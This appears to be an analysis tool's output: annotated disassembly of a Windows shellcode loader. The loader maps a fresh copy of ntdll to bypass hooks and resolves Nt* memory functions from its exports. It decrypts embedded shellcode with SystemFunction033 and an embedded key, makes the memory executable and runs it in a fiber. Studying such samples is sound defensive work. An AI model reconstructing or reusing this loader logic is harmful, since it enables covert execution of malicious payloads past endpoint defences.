Function at 0x140001450
Capabilities:
Enumerate pe sections
Resolve function by parsing pe exports

Disassembly:
push rbp
sub rsp, 0x140
lea rbp, [rsp + 0x80]
call dbg.__main
mov rax, qword [0x1402e9070]
mov ecx, 0
call rax
mov qword [rbp + 0x58], rax
mov dword [rbp + 0x54], 0xa87c
mov dword [rbp + 0x50], 0x1f8600
lea rax, str.MZER
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov eax, dword [rax + 0x3c]
cdqe
lea rdx, str.MZER
add rax, rdx
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x40]
mov eax, dword [rax + 0x50]
mov eax, eax
mov qword [rbp + 0x38], rax
mov r10, qword [0x1402e9068]
mov rax, qword [rbp + 0x38]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
call r10
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x40]
mov eax, dword [rax + 0x54]
mov edx, eax
mov rax, qword [rbp + 0x30]
mov r8, rdx
lea rdx, str.MZER
mov rcx, rax
call sym.memcpy
lea rax, str._n___Mapping_Sections_of_raw_ntdll_into_Process_Memory..._n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x40]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x40]
add rax, rdx
add rax, 0x18
mov qword [rbp + 0xb8], rax
lea rax, str._n___SECTION_HEADER:_n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, str._t_2nd_Member_of_IMAGE_NT_HEADERS__IMAGE_FILE_HEADER_struct_:_Name___n
mov rcx, rax
call sym.printf_char_const__::_
mov dword [rbp + 0xb4], 0
jmp 0x140001614
mov rax, qword [rbp + 0xb8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x30]
add rax, rdx
mov qword [rbp - 0x28], rax
mov rax, qword [rbp + 0xb8]
mov eax, dword [rax + 0x14]
mov edx, eax
lea rax, str.MZER
add rax, rdx
mov qword [rbp - 0x30], rax
mov rax, qword [rbp + 0xb8]
mov rdx, rax
lea rax, str._t_t__s:
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0xb8]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp - 0x30]
mov r8, rdx
mov rdx, rax
lea rax, str.mapped_from__p__Offset:__p_
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0xb8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp - 0x28]
mov r8, rdx
mov rdx, rax
lea rax, str._to__t__p__Offset:__p__n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0xb8]
mov eax, dword [rax + 0x10]
mov ecx, eax
mov rdx, qword [rbp - 0x30]
mov rax, qword [rbp - 0x28]
mov r8, rcx
mov rcx, rax
call sym.memcpy
add qword [rbp + 0xb8], 0x28
add dword [rbp + 0xb4], 1
mov rax, qword [rbp + 0x40]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0xb4], eax
jl 0x140001552
lea rax, str._n___Mapping_EAT_of_raw_ntdll_into_Process_Memory..._n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x40]
mov eax, dword [rax + 0x88]
mov edx, eax
mov rax, qword [rbp + 0x30]
add rax, rdx
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov eax, dword [rax + 0x20]
mov edx, eax
mov rax, qword [rbp + 0x30]
add rax, rdx
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x28]
mov eax, dword [rax + 0x1c]
mov edx, eax
mov rax, qword [rbp + 0x30]
add rax, rdx
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x28]
mov eax, dword [rax + 0x24]
mov edx, eax
mov rax, qword [rbp + 0x30]
add rax, rdx
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0xa0], 0
mov dword [rbp + 0x94], 0
jmp 0x140001739
mov rax, qword [rbp + 0xa8]
lea rdx, [rax + 4]
mov qword [rbp + 0xa8], rdx
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp + 0x30]
add rax, rdx
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
lea rdx, [0x1400b6030]
mov rcx, rax
call sym.strstr
test rax, rax
je 0x140001732
mov rax, qword [rbp + 8]
mov qword [rbp + 0x98], rax
mov eax, dword [rbp + 0x94]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x10]
add rax, rdx
movzx eax, word [rax]
movzx eax, ax
lea rdx, [rax*4]
mov rax, qword [rbp + 0x18]
add rax, rdx
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp + 0x30]
add rax, rdx
mov qword [rbp + 0xa0], rax
jmp 0x14000174e
add dword [rbp + 0x94], 1
mov rax, qword [rbp + 0x28]
mov eax, dword [rax + 0x14]
mov edx, dword [rbp + 0x94]
cmp edx, eax
jb 0x1400016b2
mov rax, qword [rbp + 0x30]
mov rdx, rax
lea rax, str._n___Mapped_ntdll_address____p_n_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x98]
mov rdx, rax
lea rax, str._nRetrieved_Function_Name:__s_n
mov rcx, rax
call sym.printf_char_const__::_
mov qword [rbp - 0x38], 0
mov dword [rbp + 4], 1
mov eax, dword [rbp + 0x54]
mov dword [rbp - 0x3c], eax
mov dword [rbp - 0x40], 0
cmp qword [rbp + 0xa0], 0
je 0x140001831
mov r10, qword [rbp + 0xa0]
lea rdx, [rbp - 0x3c]
lea rax, [rbp - 0x38]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov r9, rdx
mov r8d, 0
mov rdx, rax
mov rcx, 0xffffffffffffffff
call r10
mov dword [rbp], eax
cmp dword [rbp], 0
jns 0x140001809
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____Failed_in_NtAllocateVirtualMemory___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 1
jmp 0x140001b5f
mov rax, qword [rbp + 0xa0]
mov rdx, rax
lea rax, str._n_t_t_For_RW__n_t_t___Address_of_NtAllocateVirtualMemory__p_n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, str._t_t___NtAllocatedVirtualMemory_Executed_____n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x88], rax
mov qword [rbp + 0x80], 0
mov dword [rbp + 0x7c], 0
jmp 0x1400018df
mov rax, qword [rbp + 0x88]
lea rdx, [rax + 4]
mov qword [rbp + 0x88], rdx
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp + 0x30]
add rax, rdx
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
lea rdx, [0x1400b6070]
mov rcx, rax
call sym.strstr
test rax, rax
je 0x1400018db
mov rax, qword [rbp - 8]
mov rdx, rax
lea rax, str._nRetrieved_Function_Name:__s_n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, dword [rbp + 0x7c]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x10]
add rax, rdx
movzx eax, word [rax]
movzx eax, ax
lea rdx, [rax*4]
mov rax, qword [rbp + 0x18]
add rax, rdx
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp + 0x30]
add rax, rdx
mov qword [rbp + 0x80], rax
jmp 0x1400018f1
add dword [rbp + 0x7c], 1
mov rax, qword [rbp + 0x28]
mov eax, dword [rax + 0x14]
mov edx, dword [rbp + 0x7c]
cmp edx, eax
jb 0x140001853
cmp qword [rbp + 0x80], 0
je 0x140001982
mov r10, qword [rbp + 0x80]
mov edx, dword [rbp - 0x3c]
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x20], 0
mov r9d, edx
lea r8, str.u._
mov rdx, rax
mov rcx, 0xffffffffffffffff
call r10
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
jns 0x14000195a
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____Failed_in_NtWriteVirtualMemory___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 1
jmp 0x140001b5f
mov rax, qword [rbp + 0x80]
mov rdx, rax
lea rax, str._n_t_t___Address_of_NtWriteVirtualMemory__p_n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, str._t_t___NtWriteVirtualMemory_Executed_____n
mov rcx, rax
call sym.printf_char_const__::_
movabs rax, 0x7465426168706c61
mov qword [rbp - 0x4f], rax
movabs rax, 0x616d6d61676174
mov qword [rbp - 0x48], rax
lea rax, [rbp - 0x4f]
mov qword [0x1402e9048], rax
mov dword [0x1402e9040], 0xf
mov rax, qword [rbp - 0x38]
mov qword [0x1402e9038], rax
mov eax, dword [rbp + 0x54]
mov dword [0x1402e9030], eax
mov rax, qword [0x1402e9060]
lea rdx, [0x1402e9040]
lea rcx, [0x1402e9030]
call rax
lea rax, str._n___Shellcode_decrypted_in_memory_process_using_SystemFunction033_NtApi_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x68], 0
mov dword [rbp + 0x64], 0
jmp 0x140001a8c
mov rax, qword [rbp + 0x70]
lea rdx, [rax + 4]
mov qword [rbp + 0x70], rdx
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp + 0x30]
add rax, rdx
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
lea rdx, [0x1400b6050]
mov rcx, rax
call sym.strstr
test rax, rax
je 0x140001a88
mov rax, qword [rbp - 0x18]
mov rdx, rax
lea rax, str._nRetrieved_Function_Name:__s_n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, dword [rbp + 0x64]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x10]
add rax, rdx
movzx eax, word [rax]
movzx eax, ax
lea rdx, [rax*4]
mov rax, qword [rbp + 0x18]
add rax, rdx
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp + 0x30]
add rax, rdx
mov qword [rbp + 0x68], rax
jmp 0x140001a9e
add dword [rbp + 0x64], 1
mov rax, qword [rbp + 0x28]
mov eax, dword [rax + 0x14]
mov edx, dword [rbp + 0x64]
cmp edx, eax
jb 0x140001a09
cmp qword [rbp + 0x68], 0
je 0x140001b1f
mov r10, qword [rbp + 0x68]
lea rcx, [rbp - 0x3c]
lea rax, [rbp - 0x38]
lea rdx, [rbp - 0x40]
mov qword [rsp + 0x20], rdx
mov r9d, 0x20
mov r8, rcx
mov rdx, rax
mov rcx, 0xffffffffffffffff
call r10
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
jns 0x140001afa
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____Failed_in_NtProtectVirtualMemory___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 1
jmp 0x140001b5f
mov rax, qword [rbp + 0x68]
mov rdx, rax
lea rax, str._n_t_t_RW__RX__n_t_t___Address_of_NtProtectVirtualMemory__p_n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, str._t_t___NtProtectVirtualMemory_Executed_____n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, str._n___Creating_a_fiber_that_will_execute_the_shellcode..._n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [0x1402e9078]
mov rdx, qword [rbp - 0x38]
mov r8d, 0
mov ecx, 0
call rax
mov qword [rbp - 0x20], rax
mov rdx, qword [0x1402e9080]
mov rax, qword [rbp - 0x20]
mov rcx, rax
call rdx
mov eax, 0
add rsp, 0x140
pop rbp
ret